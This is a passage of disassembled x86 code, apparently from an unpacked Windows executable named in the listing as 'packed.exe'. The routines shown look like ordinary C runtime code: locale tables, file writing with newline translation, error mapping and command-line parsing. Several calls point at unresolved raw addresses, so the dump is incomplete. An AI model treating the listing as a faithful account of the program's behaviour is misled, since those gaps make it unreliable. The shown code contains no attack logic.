		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------


loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh


loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4CDA64, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 26102C0h
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 28819ECh
; ---------------------------------------------------------------------------


loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_4CDA58
		mov	dword_4CDA64, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4CEF00
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		mov	dword_4CEDE4, eax
		mov	dword_4CEDFC, eax
		mov	dword_4CF004, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4CEDE4
		call	near ptr 288121Dh
		nop
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h


loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx


loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4CF004
		push	dword_4CEDE4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4CF004
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4CF004
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_4CEF01[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_4CEE00[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------


loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_4CEF01[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------


loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_4CEE00[eax], 0


loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------


loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_4CEF01[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_4CEE00[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------


loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_4CEF01[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------


loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_4CEE00[eax], 0


loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC


loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_4CF034, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_4CF034, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]


loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4CEF01[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76


loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0


loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]


loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4CEDE0
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8


loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch


loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF


loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]


loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E


loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18


loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi


loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		nop
		call	near ptr 267036Ah
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------


loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		nop
		call	near ptr 267036Ah
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1


loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_4CD9B4, 1Ch
		mov	dword_4CD9B8, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh


loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4CD9B8, ecx
		mov	eax, offset dword_436100


loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_436268
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_4CD9B4, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_436104[edx*8]
		mov	dword_4CD9B4, eax
		retn
; ---------------------------------------------------------------------------


loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_4CD9B4, 8
		jbe	short locret_41EFAA


loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_4CD9B4, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------


loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_4CDA68
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4CDA68, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_4362E0
		mov	edx, dword_4362E4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:436270h[esi*4]


loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022


loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_4362EC
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_4362EC, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_4362EC, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_4362EC, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_4362EC, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_4362EC, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_4362EC, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_4362EC, 8Ah


loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_4362EC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4362EC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------


loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_4CDA68, eax


loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------


loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2610000h
		nop


loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_436268, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]


loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E


loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E


loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_4CF034, 0
		jnz	short loc_41F13D
		call	sub_41ECF1


loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_4CF02C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F


loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------


loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179


loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------


loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179


loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173


loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C


loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1


loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_4CDA00
		xor	edi, edi


loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi


loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------


loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4CD9DC, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_4CDA00
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp


loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp


loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_4CDA00
		call	sub_417C3B
		pop	ecx
		mov	dword_4CDA00, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4CF030, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1


loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		mov	eax, dword_4CF02C
		mov	off_4CD9EC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax


loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx


loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4CD9D4, esi
		pop	edi
		pop	esi
		mov	dword_4CD9D0, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C


loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------


loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi


loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax


loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C


loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387


loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0


loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0


loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C


loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB


